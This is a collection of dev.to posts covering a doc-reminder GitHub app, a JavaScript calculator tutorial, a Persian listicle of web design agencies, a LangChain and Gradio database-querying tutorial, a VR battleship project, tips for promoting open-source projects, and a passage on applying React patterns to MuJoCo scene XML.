**[Facebook](https://www.facebook.com/alisamir.dev)**
**[Instagram](https://www.instagram.com/alisamir.dev)** | alisamirali |
1,890,228 | Solving the Stale Docs Dilemma | Hey Dev.to community, I've been thinking a lot about the state of our documentation. It's... | 0 | 2024-06-16T11:21:17 | https://dev.to/phat_nguyen_14ee36624a44e/solving-the-stale-docs-dilemma-38aa | webdev, javascript, devops, productivity |

Hey Dev.to community,
I've been thinking a lot about the state of our documentation. It's frustrating when important files like `README.md`, `CHANGELOG.md`, database diagrams, and architectural docs, etc. become outdated because, let's face it, we often forget to update them amidst the hustle of development.
I built [Clarity Reminder](https://clarity.thebase.company/) out of this pain. Stale docs are a common issue, and I wanted a solution that seamlessly integrates with our workflow to keep our documentation up-to-date without extra effort.
Clarity Reminder is a GitHub app that nudges you to update essential docs with every pull request. Here’s how it works:
1. **Install the App**: Add Clarity Reminder to your GitHub repository.
2. **Configure**: Create a `.clarity/config.yaml` file to set up custom reminders.
3. **Automate**: The app reminds you to update your docs whenever necessary.
## I Need Your Feedback!
I'm looking for your honest feedback and suggestions. Your input can help make Clarity Reminder better for everyone. Check it out [here](https://clarity.thebase.company/) and let me know what you think!
Thanks for reading and happy coding!
---
Patrick from The Base Company
| phat_nguyen_14ee36624a44e |
1,888,518 | Simple Calculator In JavaScript | Audience: Anyone who can write this tutorial without seeing it. ... | 0 | 2024-06-16T11:18:08 | https://dev.to/sharavana/simple-calculator-in-javascript-5hce | javascript, node | ## Audience:
Anyone who can write this tutorial without seeing it.
## Requirements:
1. os: linux
2. node.js
## For Impatient people like me:
[Link to repo](https://github.com/csubrahmanyam/Simple-Calculator-In-Js)
## An Overview:
1.The program starts (Obviously!).
2.It asks the user to enter:
1) First Number.
2) Math Symbol(+,-,*,/,%).
3) Second Number.
3.According to the symbol entered by the user:
Operation is done on the two numbers and result is printed.
4.End
## Steps:
1.Create Project Folder 'Simple-Calculator-In-Js'.
2.Create main.js inside Project Folder.
3.At the beginning of main.js, past this comment:
```js
/***********************************
* Simple Calculator In JavaScript *
***********************************/
```
Pal: Ah! Why?
Me: Just for feel!
4.Now create a function called main().
This will be the entry-point to our app.
```js
function main(){
}
```
5.Now, call it just below the main().
```js
main();
```
Ya! ya! ya! It does nothing!
Be patient, pal!
6.Now, install a module 'readline-sync' like this:
```sh
npm install readline-sync
```
Pal: Why do we need that!
Me: Just do what I say, cadet!
Do you need user input or not?
7.Import it into your code:
```js
/***********************************
* Simple Calculator In JavaScript *
***********************************/
const readline = require("readline-sync");
function main(){
}
main();
```
8.Now lets fill the main() func!
9.First, print the name of the app:
```js
main() {
console.log(`Simple Calculator (ctrl + c for quit!)`);
}
```
10.Start a loop for prompting the user again and again(after each operation):
```js
main() {
console.log(`Simple Calculator (ctrl + c for quit!)`);
while(true) {
}
}
```
Disclaimer: If you just ran the code, then you may got your birthday present (infinite loop).
To break the loop, press: ctrl + c.
11.Take the three inputs:
```js
while (true) {
//Take User Input
let num1 = Number(readline.question(`Enter first number:`));
let symbol = readline.question(`Enter symbol(+,-,*,/,%):`);
let num2 = Number(readline.question(`Enter second number:`));
}
```
Pal: That is a mouthful.
Me: Well, yep! But, lets break it down!
Explanation:
1)Ask the user for num1 using readline.question() and convert it into number by using Number() function and store it.
2)Ask the user for math symbol and store it.
3)Ask the user for num2 and convert it to number and store it!
12.Now, do the operation on the two numbers according to user's entered symbol and print Result:
```js
while (true) {
//Take User Input
let num1 = Number(readline.question(`Enter first number:`));
let symbol = readline.question(`Enter symbol(+,-,*,/,%):`);
let num2 = Number(readline.question(`Enter second number:`));
//Calculate According To User's Choice
switch (symbol) {
case `+`:
console.log(`Result: ${num1 + num2}`);
break;
case `-`:
console.log(`Result: ${num1 - num2}`);
break;
case `*`:
console.log(`Result: ${num1 * num2}`);
break;
case `/`:
console.log(`Result: ${num1 / num2}`);
break;
case `%`:
console.log(`Result: ${num1 % num2}`);
break;
default:
console.log(`Invalid symbol!`);
break;
}
}
```
Me:That's it!
Pal: Wait! wait! wait!
What is the default thing doing?
Me:Yeah! Think, pal!
If user enters a non-math-symbol, then:
Yell at user that it is an invalid symbol.
| sharavana |
1,890,210 | top Web design company in iran | انتخاب شرکت طراحی سایت مناسب یکی از مهم ترین تصمیمات جهت بهبود و توسعه کسب و کار شماست. یک مجموعه... | 0 | 2024-06-16T11:13:20 | https://dev.to/wenet_agency/top-web-design-company-in-iran-16nn | انتخاب شرکت طراحی سایت مناسب یکی از مهم ترین تصمیمات جهت بهبود و توسعه کسب و کار شماست. یک مجموعه متعهد و حرفهای نقش مهمی در پیشبرد اهداف یک شرکت در دنیای مجازی دارد. در این مقاله از ایرانی تاپ به معرفی ۴ مورد از بهترین شرکت طراحی سایت و سئو در ایران میپردازیم.
در دنیای امروز، حضور آنلاین برای کسبوکارها و سازمانها اهمیتی حیاتی دارد. وبسایتها به عنوان یکی از اصلیترین ابزارهای ارتباطی و بازاریابی، نقش بسزایی در جذب مشتریان و افزایش فروش دارند. در این میان، شرکتهای طراحی سایت به عنوان متخصصان این حوزه، با ارائه خدمات حرفهای و بهروز، به کسبوکارها کمک میکنند تا حضوری قدرتمند و موفق در فضای مجازی داشته باشند.
ایران نیز به عنوان یکی از کشورهای پیشرو در زمینه فناوری اطلاعات، دارای شرکتهای معتبر و موفق بسیاری در زمینه طراحی وبسایت است. این شرکتها با بهرهگیری از جدیدترین تکنولوژیها و بهکارگیری تیمهای متخصص، خدمات متنوعی از جمله طراحی سایتهای شرکتی، فروشگاهی، پورتالهای سازمانی و بهینهسازی سایت برای موتورهای جستجو (SEO) را ارائه میدهند. در این مقاله، به معرفی 4 مورد از برجستهترین شرکتهای طراحی سایت در ایران میپردازیم و خدمات و آنها را بررسی میکنیم.
## بهترین شرکت طراحی سایت و سئو در ایران و دبی کدامند؟
- آژانس طراحی سایت وبسیما
- شرکت ایران سایت
- آژانس طراحی سایت وینت
- استودیو DeXign
- شرکت کاسپید
- Digital Nexa – (دبی)
- Element8 – (دبی)
- Digitalgravity – (دبی)
۱- آژانس طراحی سایت وبسیما
شرکت وبسیما یکی از بهترین شرکتها در زمینه طراحی سایت و سئو در ایران است. آغاز فعالیت ای شرکت از سال 1391 بوده است. این شرکت با تمرکز بر کیفیت و نوآوری در طراحی وبسایتهای حرفهای، تجربه کاربری بالا و بهینهسازی برای موتورهای جستجو (SEO) شناخته میشود. تیم وب سیما شامل متخصصان خلاق و مجرب در زمینههای مختلف است. این شرکت با طراحی و توسعه وب، دیجیتال مارکتینگ و سئو که با ارائه راهکارهای جامع و بهروز، به مشتریان خود کمک میکنند تا در فضای رقابتی آنلاین موفق باشند.
وبسیما با ارائه خدمات متنوع توانسته است جایگاه ویژهای در بازار کسب کند. این شرکت با ارائه پروژههای موفق و کسب رضایت مشتریان، به یکی از گزینههای برتر برای کسبوکارهایی که به دنبال حضور قوی و حرفهای در فضای دیجیتال هستند، تبدیل شده است.
دیچی کالا مگ، خبر گذاری مهر، زومیت و … از همکاری های موفق این شرکت طراحی سایت می باشند.
سال فعالیت: 1391
آدرس: تهران
زمینه ی فعالیت: طراحی سایت و سئو
آدرس وب سایت : Websima.com
بهترین شرکت طراحی سایت
۲- شرکت ایران سایت
شرکت ایران سایت یکی از قدیمیترین و معتبرترین شرکتهای طراحی سایت در ایران است که فعالیت خود را از سال ۱۳۸۱ آغاز کرده است. این شرکت با بیش از دو دهه تجربه، به ارائه خدمات متنوعی در زمینه طراحی و توسعه وبسایتهای شرکتی، فروشگاهی و پورتالهای سازمانی میپردازد. ایران سایت با تمرکز بر ارائه راهکارهای جامع و حرفهای، تلاش میکند تا نیازهای مختلف کسبوکارها را در فضای دیجیتال پوشش دهد.
تیم ایران سایت متشکل از متخصصان مجرب در حوزههای مختلف است. این شرکت با بهرهگیری از تکنولوژیهای بهروز و ارائه خدمات با کیفیت، توانسته است رضایت مشتریان خود را جلب کرده و پروژههای موفق زیادی را به انجام برساند. ایران سایت با توجه به نیازهای خاص هر کسبوکار، راهکارهای منحصربهفردی ارائه میدهد که به بهبود حضور آنلاین و افزایش فروش و تعاملات مشتریان کمک میکند.
سال فعالیت: 1381
آدرس : تهران
زمینه ی فعالیت: طراحی سایت، سئو ، دیجیتال مارکتینگ
آدرس وبسایت: Iransite.com
بهترین آژانس طراحی وب
۳- آژانس طراحی سایت وینت
شرکت وینت یکی از بهترین شرکت های طراحی سایت در ایران است که از سال 1392 آغاز به فعالیت نمود. این شرکت با بهرهگیری از تیمی متخصص و مجرب، به ارائه خدمات متنوعی از جمله طراحی سایتهای شرکتی، فروشگاهی، و پرتالهای سازمانی میپردازد. وینت با تمرکز بر ارائه راهکارهای خلاقانه و بهروز، تلاش میکند تا نیازهای متنوع مشتریان خود را در فضای دیجیتال برآورده کند.
تیم وینت متشکل از کارشناسان حرفهای در زمینههای طراحی سایت، طراحی رابط کاربری، برنامهنویسی، بهینهسازی موتورهای جستجو (SEO) و دیجیتال مارکتینگ است. این شرکت با استفاده از تکنولوژیهای نوین و رویکردهای مدرن، وبسایتهایی با تجربه کاربری بالا و عملکرد بهینه ارائه میدهد. وینت به ارائه پشتیبانی فنی و مشاوره مستمر به مشتریان خود متعهد است تا اطمینان حاصل کند که وبسایتهای طراحیشده بهطور مداوم بهروزرسانی و بهینهسازی میشوند. این تعهد به کیفیت و مشتریمداری، وینت را به یکی از گزینههای برتر برای کسبوکارهایی که به دنبال حضور قوی در فضای آنلاین هستند، تبدیل کرده است.
سال فعالیت: 1392
آدرس: تهران ، البرز، امارات
زمینه ی فعالیت: طراحی سایت، سئو
آدرس وب سایت: [Wenet.website](https://wenet.website/)
برترین شرکت طراحی وب سایت
۴- Dexign Studio
شرکت The Dexign Studio یکی از شرکتهای برجسته و نوآور در زمینه طراحی سایت و خدمات دیجیتال در ایران است. این شرکت با تمرکز بر طراحیهای مدرن و خلاقانه، منحصر به فرد، به ارائه خدمات طراحی وبسایت، برندینگ و بازاریابی دیجیتال میپردازد. The Dexign Studio با بهرهگیری از تیمی مجرب و حرفهای، توانسته است پروژههای موفق بسیاری را به اجرا درآورد و رضایت مشتریان خود را جلب کند.
تیم The Dexign Studio شامل طراحان، توسعهدهندگان و کارشناسان بازاریابی دیجیتال است که با استفاده از تکنولوژیهای پیشرفته و رویکردهای مدرن، راهکارهای جامعی برای کسبوکارها ارائه میدهند. این شرکت به ارائه خدمات طراحی وبسایتهای شرکتی، فروشگاهی و پورتالهای سازمانی با تمرکز بر بهینهسازی برای موتورهای جستجو و تجربه کاربری بالا مشهور است .The Dexign Studio با ارائه راهکارهای خلاقانه و نوآورانه، به یکی از گزینههای محبوب برای کسبوکارهایی که به دنبال حضوری قوی و حرفهای در فضای دیجیتال هستند، تبدیل شده است.
سال فعالیت: 1390
آدرس: تهران
زمینه ی فعالیت: طراحی سایت
آدرس وب سایت: Thedexignstudio.com
بهترین شرکت طراحی سایت ایران
۵- شرکت طراحی سایت کاسپید
کاسپید یکی از شرکتهای برجسته در زمینه طراحی و توسعه وبسایت در ایران است. این شرکت با 24 سال تجربه درخشان در عرصه فناوری اطلاعات، به طراحی و توسعه وبسایتهای متنوع برای مشتریان خود میپردازد. با توجه به رویکرد مشتریمداری و تمرکز بر کیفیت، کاسپید توانسته است جایگاه خود را به عنوان یکی از پیشگامان این حوزه در ایران برجسته کند.
خدمات ارائه شده توسط کاسپید شامل طراحی و توسعه وبسایتهای شخصی، شرکتی، فروشگاهی و پورتالهای سازمانی میشود. این شرکت همچنین در زمینه بهینهسازی سایت برای موتورهای جستجو (SEO) و بهبود تجربه کاربری (UX) نیز فعالیت دارد.یکی از ویژگیهای بارز کاسپید، تیم متخصص و با تجربهای است که با استفاده از آخرین تکنولوژیها و بهترین روشهای طراحی، به مشتریان خود خدماتی بینظیر ارائه میدهند. از طریق همکاری و مشورت با مشتریان، کاسپید به دنبال ارائه راهکارهایی است که نیازها و اهداف هر کسبوکار را به بهترین شکل ممکن تامین کند.
با توجه به سابقه موفق و خدمات حرفهای ارائه شده، کاسپید به عنوان یکی از شرکتهای پیشرو در زمینه طراحی و توسعه وبسایت در ایران شناخته میشود و همواره در رتبهبندی شرکتهای معتبر این حوزه حضور دارد.
سال تاسیس: 1379
آدرس: تهران
زمینه ی فعالیت: طراحی وب سایت و اپلیکیشن
آدرس سایت: kaspid.com
طراحی سایت با سابقه
بهترین شرکت های طراحی سایت در امارات
Digital Nexa
Element8
Digitalgravity
شرکت Digital Nexa
Digital Nexa یک شرکت دیجیتال مارکتینگ مقرر در دبی، امارات متحده عربی است که در زمینه طراحی و توسعه وبسایت، بازاریابی دیجیتال، استراتژی دیجیتال و تبلیغات آنلاین فعالیت میکند. این شرکت با تمرکز بر روی ارائه راهکارهای دیجیتالی هوشمند و نوآورانه، به مشتریان خود در دستیابی به اهداف کسبوکاری خود کمک میکند.
خدمات ارائه شده توسط Digital Nexa شامل طراحی و توسعه وبسایتهای حرفهای و قابل ردیابی، بهینهسازی موتورهای جستجو (SEO)، تولید محتوا، تبلیغات گوگل (Google Ads)، تبلیغات در رسانههای اجتماعی، بازاریابی ایمیل، تحلیل دادهها و بهبود عملکرد دیجیتال وبسایتها میشود.
تیم Digital Nexa از افراد متخصص و با تجربه تشکیل شده است که با استفاده از استراتژیهای پیشرفته دیجیتال، به مشتریان خود خدمات با کیفیت و ارزش افزوده ارائه میدهند. این شرکت همواره در تلاش است تا با ارائه راهکارهایی سفارشی و متناسب با نیازهای هر مشتری، آنها را در دستیابی به اهداف کسبوکاری خود یاری نماید و آنها را به دنبال موفقیت و رشد همراهی کند.
سال شروع فعالیت: 2015
آدرس: امارت (دبی)
خدمات: طراحی سایت و دیجیتال مارکتینگ
آدرس سایت: digitalnexa.com
Nexa
شرکت Element8
Element8 یک شرکت طراحی و توسعه وب مستقر در دبی، امارات متحده عربی است که در زمینه ارائه خدمات حرفهای طراحی و توسعه وبسایت، طراحی گرافیکی، بازاریابی دیجیتال و حلول فناوری اطلاعات فعالیت میکند. این شرکت با بیش از 10 سال تجربه درخشان، به ارائه راهکارهایی خلاقانه و سفارشی برای مشتریان خود میپردازد.
از جمله خدمات ارائه شده توسط Element8 میتوان به طراحی و توسعه وبسایتهای شخصی، شرکتی و تجاری، طراحی لوگو و برندینگ، سئو (بهینهسازی موتورهای جستجو)، تبلیغات دیجیتال، راهکارهای مدیریت محتوا (CMS)، تجربه کاربری (UX) و تجربه کاربری توسعه اپلیکیشنهای موبایل اشاره کرد.
شرکت Element8 با تیمی مجرب و متخصص، با بهرهگیری از جدیدترین فناوریها و بهترین روشهای طراحی، به مشتریان خود خدماتی با کیفیت بالا و برتر ارائه میدهد. همچنین، این شرکت با توجه به نیازها و اهداف مشتریان خود، به دنبال ارائه راهکارهایی است که بتوانند به بهترین شکل ممکن نیازهای کسبوکارها را پاسخ دهند و به آنها کمک کنند تا در بازار رقابتی دیجیتال موفق باشند.
سال شروع فعالیت : ۲۰۱۴
آدرس: امارت (دبی)
خدمات: طراحی سایت و دیجیتال مارکتینگ
آدرس سایت: element8
element 8
شرکت Digitalgravity
Digital Gravity یک شرکت فناوری اطلاعات مستقر در دبی، امارات متحده عربی است که در حوزه طراحی و توسعه وبسایت، برندینگ، بازاریابی دیجیتال و راهکارهای تجاری اینترنتی فعالیت میکند. این شرکت با تمرکز بر روی نوآوری، خلاقیت و کیفیت، به ارائه خدمات حرفهای در زمینه فناوری اطلاعات به مشتریان خود میپردازد.
خدمات ارائه شده توسط Digital Gravity شامل طراحی و توسعه وبسایتهای شخصی، شرکتی و تجاری، تولید محتوا، طراحی لوگو و برندینگ، بهینهسازی موتورهای جستجو (SEO)، تبلیغات دیجیتال، راهکارهای تجاری اینترنتی، تجربه کاربری (UX) و تجربه کاربری توسعه اپلیکیشنهای موبایل است.
تیم Digital Gravity از افرادی مجرب و با استعداد تشکیل شده است که با استفاده از تکنولوژیهای پیشرفته و رویکردهای خلاقانه، به مشتریان خود خدماتی با کیفیت و منحصر به فرد ارائه میدهند. این شرکت به منظور ارائه راهکارهایی کارآمد و متناسب با نیازهای مشتریان، همواره در تلاش است تا رضایت و رضایتمندی کامل مشتریان را به دست آورد و آنها را در دستیابی به اهدافشان یاری نماید.
سال شروع فعالیت : ۲۰۱۷
آدرس: امارت (دبی)
خدمات:طراحی سایت و دیجیتال مارکتینگ
آدرس سایت: Digitalgravity.ae
منبع : [Iranitop](https://iranitop.org/top-web-design-company/) | wenet_agency | |
1,890,209 | Query your database with AI using LangChain and Gradio | I remember starting in the world of Machine Learning (ML) around eight years ago, doing Andrew Ng's... | 0 | 2024-06-16T11:12:40 | https://jstoppa.com/posts/artificial-intelligence/fundamentals/query-your-database-with-ai-using-langchain-and-gradio/post/ | langchain, gradio, python, chatgpt | I remember starting in the world of Machine Learning (ML) around eight years ago, doing [Andrew Ng](https://en.wikipedia.org/wiki/Andrew_Ng)'s courses on [Coursera](https://www.coursera.org/specializations/machine-learning-introduction) and jumping into websites like [Kaggle](https://www.kaggle.com) to apply the concepts and solve Machine Learning challenges. I didn't personally imagine that in just a few years we would reach a stage where we can chat with a model that has such vast knowledge and, even more impressively, the ability to augment its knowledge with your own data and bring some level of reasoning around it, like a proper assistant.
That's what we are going to explore in this article: the ability to interact with Large Language Models (LLMs) that can use your own database to extract data, analyse it, and display it back to you, explaining what it means. This article covers the basics of how to set it up. I will covert in more details what is possible in future articles.
In this article we will use two key tools:
- **[LangChain](https://www.langchain.com/)**: a framework for building applications using Large Language Models (LLMs).
- **[Gradio](https://www.gradio.app/)**: a Python library for creating easy-to-use web interfaces for machine learning models.
If you want to go straight to the final solution, simply navigate to [the Github repo](https://github.com/jstoppa/langchain_sql_gradio) that contains a working solution for using LangChain to communicate with an SQLite DB and rendering a Gradio UI interface.
Alternatively, keep reading to learn how it's built and how it can be configured for different use cases.
## LangChain and SQL
With LangChain, you can pretty much make the application to reason as they describe it in [their website](https://www.langchain.com/) and they have built an interface that allows you to connect to a SQL databases.
We'll use the well known sample database called Northwind created by [Microsoft](https://learn.microsoft.com/en-us/dotnet/framework/data/adonet/sql/linq/downloading-sample-databases#get-the-northwind-sample-database-for-sql-server), it represents the sales data for a fictitious company called "Northwind Trades". I'm using the SQLLite3 version to make things simpler and avoid the need to install a SQL Server, I found the SQLLite version in [this Github repo](https://github.com/jpwhite3/northwind-SQLite3/tree/main/dist).
To start with, we need to create the llm model, LangChain support a long list of models, for this use case we need one that supports streaming since we want the results to be streamed to the Gradio UI. For this article, we'll use the OpenAI LLM (gpt-3.5-turbo API) but you can check the full list of models supported by LangChain in [here](https://python.langchain.com/v0.1/docs/integrations/llms/).
```python
from langchain_openai import ChatOpenAI
llm = ChatOpenAI(model="gpt-3.5-turbo", temperature=0, api_key=os.environ.get("OPENAI_API_KEY"), streaming=True)
```
NOTE: You can get more details on how to setup the OPENAI_API_KEY in [this article](https://jstoppa.com/posts/getting_started_with_openai_in_python/post/#5-creating-a-hello-world-app-with-openai)
We now need to connect to the DB and create the chain.
```python
from langchain_community.utilities import SQLDatabase
from langchain.chains import create_sql_query_chain
from langchain_community.tools.sql_database.tool import QuerySQLDataBaseTool
db = SQLDatabase.from_uri("sqlite:///northwind.db")
execute_query = QuerySQLDataBaseTool(db=db)
write_query = create_sql_query_chain(llm, db)
chain = create_sql_query_chain(llm, db)
chain = write_query | execute_query
```
This is what each item above does:
- **execute_query**: initialises the QuerySQLDataBaseTool which is designed to execute SQL queries on a database. It acts as an intermediary that takes SQL queries, runs them against the connected database and returns the results.
- **write_query**: creates a query chain using a language model (llm) and the database connection (db). The create_sql_query_chain function sets up a pipeline to generate SQL queries.
The chain then combines the write_query chain and the execute_query tool into a single pipeline. The | operator is used to denote a sequence where the output of write_query is passed to execute_query.
The next step is to create a Prompt Template and create the final chain to combine all together.
```python
from langchain_core.prompts import PromptTemplate
from langchain_core.output_parsers import StrOutputParser
from operator import itemgetter
answer_prompt = PromptTemplate.from_template(
"""Given the following user question, corresponding SQL query, and SQL result, answer the user question.
Question: {question}
SQL Query: {query}
SQL Result: {result}
Answer: """)
answer = answer_prompt | llm | StrOutputParser()
chain = (RunnablePassthrough.assign(query=write_query).assign(result=itemgetter("query") | execute_query) | answer )
```
And this is the explanation:
- **answer_prompt**: creates a template for generating the prompt that will be fed to the language model. The template includes placeholders for the user question, the SQL query and the SQL result.
- **answer**: sets up a pipeline where answer_prompt generates a prompt based on the template, llm processes the prompt to generate an answer and StrOutputParser parses the output from the language model.
- **chain**: sets up a complete chain of operations using RunnablePassthrough to pass inputs unchanged, assign the query and return the results.
In summary the code above:
- Generate an SQL query from a user question.
- Execute the SQL query on the database.
- Use the results of the query to generate a natural language answer to the user question.
## Plugin the chain into Gradio
We'll now plugin the chain created above to the Gradio UI, this will allow the user to have a user interface to interact with the model which will translate into SQL queries, retrieve the information and return the details to the user.
We'll first create a stream_response function that will be used for the Gradio interface
```python
from langchain.schema import AIMessage, HumanMessage
def stream_response(input_text, history):
history = history or []
history_langchain_format = []
for human, ai in history:
history_langchain_format.append(HumanMessage(content=human))
history_langchain_format.append(AIMessage(content=ai))
if input_text is not None:
history_langchain_format.append(HumanMessage(content=input_text))
partial_message = ""
for response in chain.stream({"question": input_text}):
if (response != ""):
partial_message += response
yield partial_message
```
The code above defines a function called stream_response that streams responses from a chain. The function handles both the input text and the conversation history. Worth noting the HumanMessage and AIMessage used to identify where the responses are coming from.
In summary, the code above does the following:
- Converts the conversation history into the LangChain message format.
- Adds the new input text to the history.
- Streams responses from the AI, yielding partial responses as they are generated which allows for real time or incremental updates to the user.
And finally, we put it all together into a Gradio Chat Interface
```python
import gradio as gr
iface = gr.ChatInterface( stream_response, textbox=gr.Textbox(placeholder="Ask a question about the database...", container=False, scale=7),)
iface.launch(share=True)
```
When the entire code is executed, a new web interface will be triggered (normally in http://127.0.0.1:7860) where you can start interacting with the database
Here's a demo video with a user asking questions, note that I have misspelled words like London in some prompts in purpose however the models understood the mistake and executed the queries correctly against the database.
<video width="650" height="480" style="display: block; margin: 0 auto" controls>
<source src="https://jstoppa.com/posts/artificial-intelligence/fundamentals/query-your-database-with-ai-using-langchain-and-gradio/demo_langchain_sql_gradio.mp4" type="video/mp4">
Your browser does not support the video tag.
</video>
I hope you like this tutorial, if you want to hear more follow me on X at [@juanstoppa](https://x.com/juanstoppa) where I regularly write about AI. | juanstoppa |
339,548 | Derelict: Battleship in VR | Summary Derelict is a Virtual Reality based spin on the classic battleship game that allow... | 0 | 2020-05-20T06:10:54 | https://dev.to/ryanstonebraker/derelict-battleship-in-vr-219g | octograd2020, githubsdp | ## Summary
Derelict is a Virtual Reality based spin on the classic battleship game that allows a player to compete against an AI while standing on a cliff overlooking the foggy sea. When a player places a ship on the board, it appears in the distance on the water. When the player or AI lands a shot, a visible explosion is seen and heard coming from the ship on the sea. When all parts of a ship are hit, it sinks down beneath the waves.
## Demo Link
[Overly Dramatic Derelict Demo Video](https://www.youtube.com/watch?v=wbaUJPeeVB8&feature=youtu.be)
## {% github https://github.com/RyanStonebraker/Derelict %}
[Note]: # (Our markdown editor supports pretty embeds. If you're sharing a GitHub repo, try this syntax: `{% github link_to_your_repo %}`)
## How I built it
This project was built as part of my Software Engineering class during my 2nd year of college. The goal of the project was to spend a total of around 15 hours peer-programming some version of the game of battleship while using best coding practices. My fellow classmate and I took this as a challenge to not only build a full-scale Virtual Reality rendition of battleship using SteamVR, Unity, C#, and Github Atom, but to also do it hackathon style in a single day. We started at 10 am in the morning with a complete blank slate and by 5:30 am the next day and many RedBulls later, we had a finished, working build of the game. However, since we had started so early before the project was due, we ended up spending additional hours adding in extra features, improving the graphics, and making an overly dramatic demo video.
## Additional Thoughts / Feelings / Stories
This project was pivotal to my college experience for many reasons. For one, it was my first taste at programming in something akin to a hackathon environment. This stuck with me so much that the following year, I pushed for and led the organization of the first ever school-wide hackathon at my university and formed a hackathon committee where I encouraged others to experience this alternative work style. Additionally, this project was one of the rare instances in which I was not chasing deadlines in college and actually had time to expand on ideas that were initially considered reach goals. This led to a level of learning that far exceeded the initial bounds of the project and helped shape my path as a software developer. | ryanstonebraker |
1,880,205 | How I grew my open-source project to 1k stars 🌟 | Recently, my open-source Neovim plugin hardtime.nvim reached 1k stars on GitHub! I think it's a... | 0 | 2024-06-16T11:09:17 | https://m4xshen.dev/posts/promote-open-source-project | opensource, github, sideprojects, marketing | Recently, my open-source Neovim plugin [hardtime.nvim](https://github.com/m4xshen/hardtime.nvim) reached 1k stars on GitHub!

I think it's a good time to share what I have learned about promoting an open-source project. I break down the process into three stages: preparation, promotion, and maintenance. Let's dive in!
## Preparation
Before promoting your project, make sure it's ready for the public. Here are some things you should prepare:
### 1. README
README is the first thing people see when they visit your project. Make sure it's clear and concise. At a minimum, it should include:
- One-sentence description of the project
- Demo GIF or screenshot
- Features of this project
- Installation guide
- Usage guide
The first two are the most important. They make people quickly understand what your project is about and how it looks like so that they are more likely to continue reading the rest of the README. Here's an example from my project:

For the rest of the README, it might be difficult to write a good one from scratch. Don't worry! You can look at other popular projects in the same domain to get inspiration.
For example, I am inspired a lot by the README of [lazy.nvim](https://github.com/folke/lazy.nvim). Learning from other's success is a good way to improve your project.
It is also important to separate the content into sections using markdown headers. GitHub will automatically generate a table of content, which makes it easier for people to navigate:

### 2. Contribution guide
If you want people to contribute to your project, you need to provide a contribution guide. It should include:
- How to set up the development environment
- The coding style of this project
- The format of the commit message
- What issues are good for beginners

### 3. Issue template
When people start using your project, they might encounter bugs or have feature requests. To make it easier for them to report issues, you should provide an issue template.
You can create an issue template by following [this GitHub docs](https://docs.github.com/en/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository).
This ensures users provide enough information for you to reproduce the issue and fix it, which makes your later maintenance work easier.
## Promotion
After preparing your project, it's time to share it! Here are some strategies you can use:
### 1. Share with the community
You can share your project on the platform where your target community is active. For example, the Neovim community is pretty active on Reddit, so I shared my project on the [r/neovim](https://www.reddit.com/r/neovim/comments/14jferq/hardtimenvim_a_neovim_plugin_helping_you/?utm_source=share&utm_medium=web3x&utm_name=web3xcss&utm_term=1&utm_content=share_button):

When it comes to sharing on social media, it is crucial to provide a visual element. People are more likely to click on a post with a GIF or image than a plain text post.
For the detail explanation of your project, you can post it in the comment section:

Also remember to engage with the community. If someone asks a question or gives feedback no matter it's positive or negative, make sure to respond to them. This shows that you care about the users and are willing to improve the project.
### 2. Write articles
When I say write articles, I don't mean you have to write a post about your project. Often, people are not interested in reading a post that is just a promotion of a project. Instead, you can write articles related to the problem your project solves and mention your project in the article.
For example, I wrote an article about [practical Vim command workflow](https://m4xshen.dev/posts/vim-command-workflow). In the article, I share my experience of using Vim operators and motions and how they help me become more productive. At the end of the article, I mention hardtime.nvim as a tool to help establish good command workflow.
In this way you provide value to the readers and promote your project at the same time.
### 3. Hacktoberfest
Apart from actively promoting your project, you can also leverage events like [Hacktoberfest](https://hacktoberfest.com) to attract contributors. Hacktoberfest is an annual event that encourages people to contribute to open source throughout October.
By tagging your project with `hacktoberfest` and providing issues that are good for beginners, you can attract more contributors to your project. Here is an example of the pull requests I received during Hacktoberfest:

## Maintenance
Building an open-source project is not a one-time thing. You need to maintain it to keep it alive. User feedback, bug reports, and feature requests will keep coming in, and you need to handle them properly.
Using issue labels can help you organize the issues. For example, you can use `bug`, `enhancement`, `good first issue`, etc., to categorize the issues. This makes it easier for you to prioritize and work on them.
After a while, your project might develop more features or even release a major version. You can then get back to the promotion stage and share the updates with the community.
For example, after my first post about hardtime.nvim, I worked on the users' feedback and added some new features. I then wrote a new post few months later to share the updates:

Just make sure the update are valuable to the users. You don't want to spam the community with minor updates that don't bring much value.
## Conclusion
That's pretty much it! I hope you find these tips helpful for promoting your open-source project. Remember, building an open-source project is not just about writing code. A good project is useless if no one knows about it. So don't be shy, share your project with the world!
---
<meta name="twitter:creator" content="@m4xshen" />
If you like this kind of content and want to see more of it in the future, consider following my X to get notified when I post new content!
{% cta https://twitter.com/m4xshen %} Follow on X {% endcta %}
| m4xshen |
1,890,208 | How the React Pattern Applies Outside of JS: A Case Study | Looking from an oblique angle, React solves a peculiar problem: how to make a static markup language... | 0 | 2024-06-16T11:07:23 | https://dev.to/freiberg-roman/how-the-react-pattern-applies-outside-of-js-a-case-study-na3 | python, react, webdev | Looking from an oblique angle, React solves a peculiar problem: how to make a static markup language act dynamic. Judging by React's popularity, most of us would agree that React does a particularly good job solving this problem, and code using this ideology of component rendering often leads to self-contained reusable modules.
As an ex-web developer, I always prefer React over any other framework. However, the general design patterns have a much broader use case than solely web development.
### The Problem I was Facing
For quite an extensive amount of time, I have been working with Deepmind's simulation software **Mu**lti-**Jo**int dynamics with **Co**ntact, or MuJoCo for short. For our argument, it does not matter too much what exactly MuJoCo is. We will only focus on its scene definition. By design, simulated environments are compiled from XML files, which define the layout of the simulated scene and its objects.
Just to have an idea, you can find below a minimal example with two cubes, a sphere, and a ground plane.
```xml
<mujoco model="simple_scene">
<worldbody>
<!-- Ground plane -->
<geom name="ground" type="plane" size="10 10 0.1"/>
<!-- Red box with 6DOF joint -->
<body name="box_one" pos="0 0 0.1">
<freejoint />
<geom name="box_geom" type="box" size="0.1 0.1 0.1"/>
</body>
<!-- Blue box with 6DOF joint -->
<body name="box_two" pos="0 0 0.5">
<freejoint />
<geom name="box_geom" type="box" size="0.1 0.1 0.1"/>
</body>
<!-- Small sphere -->
<body name="small_sphere" pos="0 0.5 0.1">
<geom name="sphere_geom" type="sphere" size="0.05"/>
</body>
<!-- would be nice to add other objects -->
</worldbody>
</mujoco>
```
This scene is particularly boring as not much will happen, but the parallel to HTML should be quite obvious. The problem arises when one wants something more dynamic with a variable number of objects. In my case, I had to dynamically exchange robot grippers and random objects throughout various scenes.
So, my goal was to recreate the basics of React for better handling.
It turned out much simpler than I previously imagined.
